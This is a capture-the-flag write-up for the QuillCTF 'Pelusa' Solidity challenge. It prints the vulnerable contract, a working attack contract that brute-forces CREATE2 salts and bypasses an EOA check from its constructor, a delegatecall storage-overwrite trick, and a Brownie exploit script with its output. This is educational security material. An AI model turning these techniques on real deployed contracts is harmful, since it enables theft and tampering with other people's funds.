Pelusa is a Solidity CTF challenge from QuillCTF.
Solution
In this contract, there is only 1 solidity
file. Pelusa.sol
. Contract is not deployed on any test network.
Objective of CTF is
Score from 1 to 2 goals for a win.
To solve this question we have to make goals
variable 2. There are few rules on this contract. It can be seen that delegatecall
is used in shoot
function. With the help of delegatecall
we can modify goals
variable.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
interface IGame {
function getBallPossesion() external view returns (address);
}
// "el baile de la gambeta"
// https://www.youtube.com/watch?v=qzxn85zX2aE
// @author https://twitter.com/eugenioclrc
contract Pelusa {
address private immutable owner;
address internal player;
uint256 public goals = 1;
constructor() {
owner = address(uint160(uint256(keccak256(abi.encodePacked(msg.sender, blockhash(block.number))))));
}
function passTheBall() external {
require(msg.sender.code.length == 0, "Only EOA players");
require(uint256(uint160(msg.sender)) % 100 == 10, "not allowed");
player = msg.sender;
}
function isGoal() public view returns (bool) {
// expect ball in owners posession
return IGame(player).getBallPossesion() == owner;
}
function shoot() external {
require(isGoal(), "missed");
/// @dev use "the hand of god" trick
(bool success, bytes memory data) = player.delegatecall(abi.encodeWithSignature("handOfGod()"));
require(success, "missed");
require(uint256(bytes32(data)) == 22_06_1986);
}
}
There are 3 required statements on shoot
function. We should make them all pass. Firstly we need to make isGoal
function return true
.
function isGoal() public view returns (bool) {
// expect ball in owners posession
return IGame(player).getBallPossesion() == owner;
}
This function is just calling the getBallPossesion
function of player
contract and checks if it is equal to owner
or not. Owner is setted on constuctor.
owner = address(uint160(uint256(keccak256(abi.encodePacked(msg.sender, blockhash(block.number))))));
And its easy to replicate this data because we know msg.sender
and also the block.number
of contract creation. Msg sender is the wallet address which called deploy
function of this contract. And blockhash(block.number)
is just 0 because we can not obtain the current block's header within that transaction because the transaction that is running has not been included in the block yet. However we still need to change player
variable with our attack contract address.
function passTheBall() external {
require(msg.sender.code.length == 0, "Only EOA players");
require(uint256(uint160(msg.sender)) % 100 == 10, "not allowed");
player = msg.sender;
}
Player is assigned on passTheBall
function. To make it pass there are 2 required statements. First one is checking if the code length is 0. It is easy to bypass because on constructor of any contract code.length
is
0. So if we create a contract and call this passTheBall
function in our attack contracts constructor it will be able to pass first require statement. Second one is converting the contract address to integer and checks if that int mod 100 is 10. It is possible to create a contract which will satisfy the condition with bruteforcing. It is possible to predict contract address before deploying it with salt
. So again we can try to increase salt
until we found a valid address and then deploy that contract with valid salt. And after those steps we just need a function named handOfGod()
which will increase the goals
variable and returns 22_06_1986
POC
Solidity Attack Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
interface IGame {
function getBallPossesion() external view returns (address);
}
interface IPelusa {
function passTheBall() external;
function shoot() external;
}
contract Attack is IGame {
address private immutable owner;
address internal player;
uint256 public goals = 1;
IPelusa public pelusa;
bool public succeeded;
constructor(IPelusa _pelusa, address owner_of_pelusa) {
pelusa = IPelusa(_pelusa);
owner = address(uint160(uint256(keccak256(abi.encodePacked(owner_of_pelusa, blockhash(block.number))))));
pelusa.passTheBall();
}
function getBallPossesion() external view override returns(address){
return owner;
}
function attack() external payable{
pelusa.shoot();
}
function handOfGod() external returns(bytes32){
goals += 1;
bytes32 result = bytes32(uint256(22_06_1986));
return result;
}
}
contract Create2Factory {
IPelusa public immutable pelusa;
Attack public createdContract;
address public owner_of_pelusa;
constructor(IPelusa _pelusa, address _owner_of_pelusa) payable{
pelusa = _pelusa;
owner_of_pelusa = _owner_of_pelusa;
}
function deploy() external {
bytes memory bytecode = type(Attack).creationCode;
bytes memory calculatedBytecode = abi.encodePacked(bytecode, abi.encode(pelusa), abi.encode(owner_of_pelusa));
for(uint256 i; i < 1000; i++){
address calculatedAddress = getAddress(calculatedBytecode, i);
if(uint256(uint160(calculatedAddress)) % 100 == 10){
createdContract = new Attack{
salt: bytes32(i) // the number of salt determines the address of the contract that will be deployed
}(pelusa, owner_of_pelusa);
}
}
}
function getAddress(bytes memory bytecode, uint _salt) public view returns (address) {
bytes32 hash = keccak256(
abi.encodePacked(
bytes1(0xff), address(this), _salt, keccak256(bytecode)
)
);
return address (uint160(uint(hash)));
}
}
Python Exploit Function
from brownie import *
from scripts.setup_general import console
def exploit():
admin = accounts[0]
attacker = accounts[1]
pelusa = Pelusa.deploy({'from': admin})
console.yellow("Creating attack contract")
attack_contract_factory = Create2Factory.deploy(pelusa.address, admin.address, {'from': attacker})
attack_contract_factory.deploy()
attack_conttract = Attack.at(attack_contract_factory.createdContract())
assert pelusa.goals() == 1
console.yellow("Calling -> attack_conttract.attack({'from': attacker})")
attack_conttract.attack({'from': attacker})
assert pelusa.goals() == 2
console.green("Goals of the contract after attack is: "+ str(pelusa.goals()))
And the output is
>>> run('poc', 'exploit')
Running 'scripts\poc.py::exploit'...
Transaction sent: 0xcb1f321da80b607fb77331af5c526e52cbab1fe74e1785749aded7dff2ae545f
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 5
Pelusa.constructor confirmed Block: 16 Gas used: 284755 (2.37%)
Pelusa deployed at: 0x6b4BDe1086912A6Cb24ce3dB43b3466e6c72AFd3
Creating attack contract
Transaction sent: 0xf1e486f1c3eb05bc79b6e55145f8d50897fd871d279396feef95c5009d21a5f9
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 10
Create2Factory.constructor confirmed Block: 17 Gas used: 519008 (4.33%)
Create2Factory deployed at: 0x1766f78B9548Ca08542fD46eB08908447F7e2d4D
Transaction sent: 0x1ecea9ccfd99307d24b5dd6be76321acd6f9bb3a654ce080b67dd8c022ad41ed
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 11
Create2Factory.deploy confirmed Block: 18 Gas used: 3497755 (29.15%)
-Goals of the contract before attack is: 1
Calling -> attack_conttract.attack({'from': attacker})
Transaction sent: 0xbe49704659b80e05169042cd2284dc0df228c14dd302f8c42759a5d0a54f003c
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 12
Attack.attack confirmed Block: 19 Gas used: 34184 (0.28%)
+Goals of the contract after attack is: 2